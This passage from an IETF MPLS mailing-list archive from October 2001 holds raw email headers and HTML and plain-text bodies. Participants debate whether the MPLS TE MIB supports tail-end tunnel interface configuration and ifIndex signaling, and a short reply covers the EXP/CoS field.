  tunnel is known if it is represented as an unnumbered interface.&nbsp; This is 
  being added to the GMPLS version of the TE MIB (due out any time 
  soon).</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Courier size=2>I'm sure that just as soon as it is agreed how 
  to signal the tail end ifIndex for tunnels that appear as numbered interfaces, 
  Tom will be happy to add this to the TE MIB.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Courier size=2>Adrian</FONT></DIV>
  <DIV><FONT face=Courier size=2>--<BR>Adrian Farrel<BR>Movaz Networks 
  Inc.<BR>Tel: 703-847-1867<BR><A 
  href="mailto:afarrel@movaz.com">afarrel@movaz.com</A></FONT></DIV>
  <BLOCKQUOTE 
  style="PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
    <DIV style="FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV 
    style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><B>From:</B> 
    <A title=Patrick.Dominic-Savio@marconi.com 
    href="mailto:Patrick.Dominic-Savio@marconi.com">Dominic-Savio, Patrick</A> 
    </DIV>
    <DIV style="FONT: 10pt arial"><B>To:</B> <A title=tnadeau@cisco.com 
    href="mailto:tnadeau@cisco.com">'Thomas Nadeau'</A> </DIV>
    <DIV style="FONT: 10pt arial"><B>Cc:</B> <A title=mpls@UU.NET 
    href="mailto:'mpls@uu.net'">'mpls@uu.net'</A> </DIV>
    <DIV style="FONT: 10pt arial"><B>Sent:</B> Tuesday, October 30, 2001 10:07 
    AM</DIV>
    <DIV style="FONT: 10pt arial"><B>Subject:</B> RE: Question on tunnel 
    Interface (w.r.t TE MIB)</DIV>
    <DIV><BR></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=149145314-30102001>Please scroll to the end...</SPAN></FONT></DIV>
    <BLOCKQUOTE 
    style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
      <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
      size=2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau [<A 
      href="mailto:tnadeau@cisco.com">mailto:tnadeau@cisco.com</A>]<BR><B>Sent:</B> 
      Monday, October 29, 2001 7:11 PM<BR><B>To:</B> Dominic-Savio, 
      Patrick<BR><B>Cc:</B> <A 
      href="mailto:'mpls@uu.net'">'mpls@uu.net'</A><BR><B>Subject:</B> RE: 
      Question on tunnel Interface (w.r.t TE MIB)<BR><BR></FONT></DIV><FONT 
      size=3><BR>
      <BLOCKQUOTE cite="" 
        type="cite"><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Most 
        if not all MPLS implementations that I know of only require the 
        operator<BR>to configure the tunnel at the head end. </FONT><FONT 
        face=arial color=#0000ff size=2></FONT><FONT 
        size=3><BR>&nbsp;<BR></FONT><FONT face=arial color=#ff0000 size=2>But, 
        if you want to treat a tunnel as a real interface (and assign IP 
        addresses etc. to it at both ends) 
      </FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>I 
      would categorize the use of a single interface as a "real" 
      interface<BR>configuration as well.<BR><BR>
      <BLOCKQUOTE cite="" type="cite"><FONT face=arial color=#ff0000 
        size=2>you will have to have interface configuration at both the head 
        and tail ends. 
      </FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>That 
      is possible using the existing MIB. I think that we have<BR>violent 
      agreement on this point.<BR><BR>
      <BLOCKQUOTE cite="" type="cite"><FONT face=arial color=#ff0000 size=2>If 
        you don't have a tail end interface configuration the only reason to use 
        tunnel interfaces is probably to make the tunnel *look* like an 
        interface on the head end router. This however means that you are 
        treating it as an interface on one side and treating it as a simple 
        terminating tunnel on the other side. This seems 
        anomalous.<X-TAB>&nbsp;&nbsp;&nbsp;</X-TAB></FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>I 
      guess that you are entitled to your opinion. My customers<BR>don't think 
      that this approach is so anomalous.<BR><BR>
      <BLOCKQUOTE cite="" type="cite"><FONT size=3>&nbsp;If your 
        implementation wishes to create an<BR>interface for the tail end of the 
        tunnel, it can do this based on the acceptance of<BR>an RSVP-TE session 
        at the tail point, or via manual configuration. However, making <BR>this 
        ifIndex consistent with the one at the head automatically is something 
        that I think you <BR>will have to do manually.</FONT><FONT face=arial 
        color=#0000ff size=2> </FONT><FONT size=3><BR>&nbsp;<BR></FONT><FONT 
        face=arial color=#ff0000 size=2>I think you misunderstood, the actual 
        value of the ifIndex is of no consequence, <BR>you just have to have a 
        corresponding interface at the other end.</FONT><FONT size=3> 
      </FONT></BLOCKQUOTE>
      <DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Okay, 
      so what is the problem then? 8)<SPAN class=149145314-30102001><FONT 
      face=Arial color=#0000ff size=2>&nbsp;</FONT></SPAN></DIV>
      <DIV><SPAN class=149145314-30102001></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
      size=2>The problem is that the TE MIB does not provide *complete* 
      configuration support for setting up of a "corresponding" tail-end tunnel 
      interface. On the head-end it provides all of the required configuration 
      parameters (isIf, name)&nbsp;and on the tail-end it provides some (isIf, 
      name) but not all (you would at least need the head-end tunnel index to be 
      specified at the tail-end).</FONT></SPAN></DIV>
      <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
      size=2>Let me try the question again&nbsp;in case my 
      earlier&nbsp;questions&nbsp;were not clear.</FONT></SPAN></DIV>
      <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
      size=2>If I create a tunnel&nbsp; interface on a head-end router and would 
      like to create a corresponding tail-end tunnel interface on the tail-end 
      router, how do I do this using the TE MIB. I would like to see a complete 
      solution using just the TE MIB (because it attempts to solve the problem 
      on the head-end), if this is not possible then what other MIB tables 
      should I use and how?. I can easily come up with some proprietary scheme 
      to do this but I would like to see some "standard" usage guidelines. 
      Again, given that the TE MIB seems to be taking on the responsibility of 
      creating tunnel interfaces I would like a "standard" way of doing it on 
      the tail-end to be documented in the mpls-te-mib 
      specification.</FONT></SPAN></DIV>
      <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
      size=2>Thanks</FONT></SPAN></DIV>
      <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN 
      class=149145314-30102001></SPAN><BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR><BR></DIV>
      <DIV>------------------------------------------------------------------------</DIV>Mathematics 
      is the supreme nostalgia of our time. 
</BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C16159.79FFB7B0--


From owner-mpls@UU.NET  Tue Oct 30 10:51:02 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04756
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 10:51:02 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzn04968;
	Tue, 30 Oct 2001 15:50:52 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzn21224
	for mpls-outgoing; Tue, 30 Oct 2001 15:50:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmzn21219
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:50:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzn08593
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:50:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzn10680
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:50:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA01698 for <mpls@uu.net>; Tue, 30 Oct 2001 10:50:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA18497 for mpls@uu.net; Tue, 30 Oct 2001 10:50:02 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmzn21173
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:49:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzn02982
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:48:12 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzn07429
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:48:31 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA01264; Tue, 30 Oct 2001 10:48:10 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (ch2-dhcp134-211.cisco.com [161.44.134.211])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAF04528;
	Tue, 30 Oct 2001 10:45:16 -0500 (EST)
Message-Id: <4.3.2.7.2.20011030104342.01ba3fc0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Oct 2001 10:45:54 -0500
To: "Adrian Farrel" <afarrel@movaz.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Question on tunnel Interface (w.r.t TE MIB)
Cc: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <01fb01c16155$f17ab5f0$681810ac@movaz.com>
References: <313680C9A886D511A06000204840E1CF4B84D3@whq-msgusr-02.pit.comms.marconi.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_3130231==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_3130231==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>Before banging on the TE-MIB much more, apply yourselves to Tom's question...
>
>How is this signaled?
>
>The TE MIB can only handle two things...
>
>- local configuration (e.g. head end ifIndex)
>- protocol elements (i.e. things that will be signaled)
>
>Note that the Unnumbered Interface signaling drafts add the concept of 
>signaling the Unnumbered Interface Id by which the tunnel is known if it 
>is represented as an unnumbered interface.  This is being added to the 
>GMPLS version of the TE MIB (due out any time soon).
>
>I'm sure that just as soon as it is agreed how to signal the tail end 
>ifIndex for tunnels that appear as numbered interfaces, Tom will be happy 
>to add this to the TE MIB.\

         The signaling issue aside, I believe that the MPLS TE MIB can 
handle this
configuration today, albeit manually or via the agent picking an ifIndex at the
tail. Now if you want the ifIndex to be consistent with the one at the head,
or you want the head to know what the tail ifIndex is, then Adrian is right, we
will need the signaling to be worked out so that the tail can be provided with
this information via the signaling.

         --Tom



>Adrian
>--
>Adrian Farrel
>Movaz Networks Inc.
>Tel: 703-847-1867
><mailto:afarrel@movaz.com>afarrel@movaz.com
>>----- Original Message -----
>>From: <mailto:Patrick.Dominic-Savio@marconi.com>Dominic-Savio, Patrick
>>To: <mailto:tnadeau@cisco.com>'Thomas Nadeau'
>>Cc: <mailto:'mpls@uu.net'>'mpls@uu.net'
>>Sent: Tuesday, October 30, 2001 10:07 AM
>>Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
>>
>>Please scroll to the end...
>>>-----Original Message-----
>>>From: Thomas Nadeau [<mailto:tnadeau@cisco.com>mailto:tnadeau@cisco.com]
>>>Sent: Monday, October 29, 2001 7:11 PM
>>>To: Dominic-Savio, Patrick
>>>Cc: <mailto:'mpls@uu.net'>'mpls@uu.net'
>>>Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
>>>
>>>
>>>>         Most if not all MPLS implementations that I know of only 
>>>> require the operator
>>>>to configure the tunnel at the head end.
>>>>
>>>>But, if you want to treat a tunnel as a real interface (and assign IP 
>>>>addresses etc. to it at both ends)
>>>
>>>         I would categorize the use of a single interface as a "real" 
>>> interface
>>>configuration as well.
>>>
>>>>you will have to have interface configuration at both the head and tail 
>>>>ends.
>>>
>>>         That is possible using the existing MIB. I think that we have
>>>violent agreement on this point.
>>>
>>>>If you don't have a tail end interface configuration the only reason to 
>>>>use tunnel interfaces is probably to make the tunnel *look* like an 
>>>>interface on the head end router. This however means that you are 
>>>>treating it as an interface on one side and treating it as a simple 
>>>>terminating tunnel on the other side. This seems anomalous.
>>>
>>>         I guess that you are entitled to your opinion. My customers
>>>don't think that this approach is so anomalous.
>>>
>>>>  If your implementation wishes to create an
>>>>interface for the tail end of the tunnel, it can do this based on the 
>>>>acceptance of
>>>>an RSVP-TE session at the tail point, or via manual configuration. 
>>>>However, making
>>>>this ifIndex consistent with the one at the head automatically is 
>>>>something that I think you
>>>>will have to do manually.
>>>>
>>>>I think you misunderstood, the actual value of the ifIndex is of no 
>>>>consequence,
>>>>you just have to have a corresponding interface at the other end.
>>>
>>>         Okay, so what is the problem then? 8)
>>>
>>>The problem is that the TE MIB does not provide *complete* configuration 
>>>support for setting up of a "corresponding" tail-end tunnel interface. 
>>>On the head-end it provides all of the required configuration parameters 
>>>(isIf, name) and on the tail-end it provides some (isIf, name) but not 
>>>all (you would at least need the head-end tunnel index to be specified 
>>>at the tail-end).
>>>Let me try the question again in case my earlier questions were not clear.
>>>If I create a tunnel  interface on a head-end router and would like to 
>>>create a corresponding tail-end tunnel interface on the tail-end router, 
>>>how do I do this using the TE MIB. I would like to see a complete 
>>>solution using just the TE MIB (because it attempts to solve the problem 
>>>on the head-end), if this is not possible then what other MIB tables 
>>>should I use and how?. I can easily come up with some proprietary scheme 
>>>to do this but I would like to see some "standard" usage guidelines. 
>>>Again, given that the TE MIB seems to be taking on the responsibility of 
>>>creating tunnel interfaces I would like a "standard" way of doing it on 
>>>the tail-end to be documented in the mpls-te-mib specification.
>>>
>>>Thanks
>>>
>>>
>>>
>>>         --Tom
>>>
>>>
>>>
>>>
>>>------------------------------------------------------------------------
>>>Mathematics is the supreme nostalgia of our time.



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_3130231==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font face="courier" size=3><br>
</font><blockquote type=cite cite><font face="courier" size=2>Before
banging on the TE-MIB much more, apply yourselves to Tom's
question...</font><font size=3><br>
&nbsp;<br>
</font><font face="courier" size=2>How is this
signaled?</font><font size=3><br>
&nbsp;<br>
</font><font face="courier" size=2>The TE MIB can only handle two
things...</font><font size=3><br>
&nbsp;<br>
</font><font face="courier" size=2>- local configuration (e.g. head end
ifIndex)</font><font size=3><br>
</font><font face="courier" size=2>- protocol elements (i.e. things that
will be signaled)</font><font size=3><br>
&nbsp;<br>
</font><font face="courier" size=2>Note that the Unnumbered Interface
signaling drafts add the concept of signaling the Unnumbered Interface Id
by which the tunnel is known if it is represented as an unnumbered
interface.&nbsp; This is being added to the GMPLS version of the TE MIB
(due out any time soon).</font><font size=3><br>
&nbsp;<br>
</font><font face="courier" size=2>I'm sure that just as soon as it is
agreed how to signal the tail end ifIndex for tunnels that appear as
numbered interfaces, Tom will be happy to add this to the TE
MIB.\</font></blockquote><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>The
signaling issue aside, I believe that the MPLS TE MIB can handle
this<br>
configuration today, albeit manually or via the agent picking an ifIndex
at the<br>
tail. Now if you want the ifIndex to be consistent with the one at the
head,<br>
or you want the head to know what the tail ifIndex is, then Adrian is
right, we<br>
will need the signaling to be worked out so that the tail can be provided
with<br>
this information via the signaling.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<blockquote type=cite cite><font face="courier" size=2>Adrian</font><font size=3><br>
</font><font face="courier" size=2>--<br>
Adrian Farrel<br>
Movaz Networks Inc.<br>
Tel: 703-847-1867<br>
<a href="mailto:afarrel@movaz.com">afarrel@movaz.com</a></font><font size=3><br>
<blockquote type=cite cite>----- Original Message ----- <br>
<b>From:</b>
<a href="mailto:Patrick.Dominic-Savio@marconi.com">Dominic-Savio, Patrick</a> <br>
<b>To:</b> <a href="mailto:tnadeau@cisco.com">'Thomas Nadeau'</a> <br>
<b>Cc:</b> <a href="mailto:'mpls@uu.net'">'mpls@uu.net'</a> <br>
<b>Sent:</b> Tuesday, October 30, 2001 10:07 AM<br>
<b>Subject:</b> RE: Question on tunnel Interface (w.r.t TE MIB)<br>
<br>
</font><font face="arial" size=2 color="#0000FF">Please scroll to the end...</font><font size=3><br>
</font><blockquote type=cite cite><font face="tahoma" size=2>-----Original Message-----<br>
<b>From:</b> Thomas Nadeau [<a href="mailto:tnadeau@cisco.com">mailto:tnadeau@cisco.com</a>]<br>
<b>Sent:</b> Monday, October 29, 2001 7:11 PM<br>
<b>To:</b> Dominic-Savio, Patrick<br>
<b>Cc:</b> <a href="mailto:'mpls@uu.net'">'mpls@uu.net'</a><br>
<b>Subject:</b> RE: Question on tunnel Interface (w.r.t TE MIB)<br>
<br>
</font><font size=3><br>
<blockquote type=cite cite><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Most if not all MPLS implementations that I know of only require the operator<br>
to configure the tunnel at the head end. <br>
&nbsp;<br>
</font><font face="arial" size=2 color="#FF0000">But, if you want to treat a tunnel as a real interface (and assign IP addresses etc. to it at both ends) </font></blockquote><font size=3><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I would categorize the use of a single interface as a &quot;real&quot; interface<br>
configuration as well.<br>
<br>
</font><blockquote type=cite cite><font face="arial" size=2 color="#FF0000">you will have to have interface configuration at both the head and tail ends. </font></blockquote><font size=3><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>That is possible using the existing MIB. I think that we have<br>
violent agreement on this point.<br>
<br>
</font><blockquote type=cite cite><font face="arial" size=2 color="#FF0000">If you don't have a tail end interface configuration the only reason to use tunnel interfaces is probably to make the tunnel *look* like an interface on the head end router. This however means that you are treating it as an interface on one side and treating it as a simple terminating tunnel on the other side. This seems anomalous.<x-tab>&nbsp;&nbsp;&nbsp;</x-tab></font></blockquote><font size=3><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I guess that you are entitled to your opinion. My customers<br>
don't think that this approach is so anomalous.<br>
<br>
<blockquote type=cite cite>&nbsp;If your implementation wishes to create an<br>
interface for the tail end of the tunnel, it can do this based on the acceptance of<br>
an RSVP-TE session at the tail point, or via manual configuration. However, making <br>
this ifIndex consistent with the one at the head automatically is something that I think you <br>
will have to do manually.</font><font face="arial" size=2 color="#0000FF"> </font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#FF0000">I think you misunderstood, the actual value of the ifIndex is of no consequence, <br>
you just have to have a corresponding interface at the other end.</font><font size=3> </blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Okay, so what is the problem then? 8)</font><font face="arial" size=2 color="#0000FF"> </font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#0000FF">The problem is that the TE MIB does not provide *complete* configuration support for setting up of a &quot;corresponding&quot; tail-end tunnel interface. On the head-end it provides all of the required configuration parameters (isIf, name) and on the tail-end it provides some (isIf, name) but not all (you would at least need the head-end tunnel index to be specified at the tail-end).</font><font size=3><br>
</font><font face="arial" size=2 color="#0000FF">Let me try the question again in case my earlier questions were not clear.</font><font size=3><br>
</font><font face="arial" size=2 color="#0000FF">If I create a tunnel&nbsp; interface on a head-end router and would like to create a corresponding tail-end tunnel interface on the tail-end router, how do I do this using the TE MIB. I would like to see a complete solution using just the TE MIB (because it attempts to solve the problem on the head-end), if this is not possible then what other MIB tables should I use and how?. I can easily come up with some proprietary scheme to do this but I would like to see some &quot;standard&quot; usage guidelines. Again, given that the TE MIB seems to be taking on the responsibility of creating tunnel interfaces I would like a &quot;standard&quot; way of doing it on the tail-end to be documented in the mpls-te-mib specification.</font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#0000FF">Thanks</font><font size=3><br>
&nbsp;<br>
&nbsp;<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
------------------------------------------------------------------------<br>
Mathematics is the supreme nostalgia of our time. </font></blockquote></blockquote></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_3130231==_.ALT--



From owner-mpls@UU.NET  Tue Oct 30 10:53:43 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04818
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 10:53:43 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzn11744;
	Tue, 30 Oct 2001 15:54:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzn21414
	for mpls-outgoing; Tue, 30 Oct 2001 15:53:26 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmzn21390
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:53:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzn17054
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:53:04 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzn15688
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:53:24 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA02243 for <mpls@uu.net>; Tue, 30 Oct 2001 10:53:03 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA18707 for mpls@uu.net; Tue, 30 Oct 2001 10:53:03 -0500 (EST)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmzn21307
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:52:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmzn13132
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:51:46 GMT
Received: from fido.nc.rr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-240-155.nc.rr.com [66.26.240.155])
	id QQlmzn08918
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:52:06 GMT
Received: from localhost (jboyle@localhost)
	by fido.nc.rr.com (8.11.2/8.11.2) with ESMTP id f9UCCgN10229;
	Tue, 30 Oct 2001 07:12:43 -0500
X-Authentication-Warning: fido.nc.rr.com: jboyle owned process doing -bs
Date: Tue, 30 Oct 2001 07:12:42 -0500 (EST)
From: Jim Boyle <jboyle@pdnets.com>
X-X-Sender:  <jboyle@fido>
To: pradeep n <nmnpradeep@yahoo.com>
cc: <mpls@UU.NET>
Subject: Re: CoS (EXP) field
In-Reply-To: <20011030091145.62389.qmail@web14702.mail.yahoo.com>
Message-ID: <Pine.LNX.4.33.0110300632240.1058-100000@fido>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


See:

http://cell.onecall.net/mhonarc/mpls/1998-Sep/threads.html

with subjects of Last Call / Encapsulation for background on EXP.

It is being used for COS now, I'm not aware of it being used for
anything but that.  Nor for anyone who still feels that 8 treatments
is a limitation (especially given L-LSP functionality).

Perhaps it's time to change it back to COS?


Jim



On Tue, 30 Oct 2001, pradeep n wrote:

> CoS (EXP) field of Shim Header is considered as
> Expermental range, currently this field is being
> considered for QOS implementation.
>
> Please elobrate on this matter. More information
> expected.
>
> Pradeep
>
>
> __________________________________________________
> Do You Yahoo!?
> Make a great connection at Yahoo! Personals.
> http://personals.yahoo.com
>



From owner-mpls@UU.NET  Tue Oct 30 11:01:53 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05065
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 11:01:53 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzo24535;
	Tue, 30 Oct 2001 16:01:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzo27046
	for mpls-outgoing; Tue, 30 Oct 2001 16:01:40 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmzo26710
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 16:01:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzo25440
	for <mpls@uu.net>; Tue, 30 Oct 2001 16:01:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzo29592
	for <mpls@uu.net>; Tue, 30 Oct 2001 16:01:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA03746 for <mpls@uu.net>; Tue, 30 Oct 2001 11:01:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA19673 for mpls@uu.net; Tue, 30 Oct 2001 11:01:02 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmzn21888
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:59:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzn24016
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:58:37 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzn25416
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:58:57 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA03245; Tue, 30 Oct 2001 10:58:37 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (ch2-dhcp134-211.cisco.com [161.44.134.211])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAF04214;
	Tue, 30 Oct 2001 10:37:23 -0500 (EST)
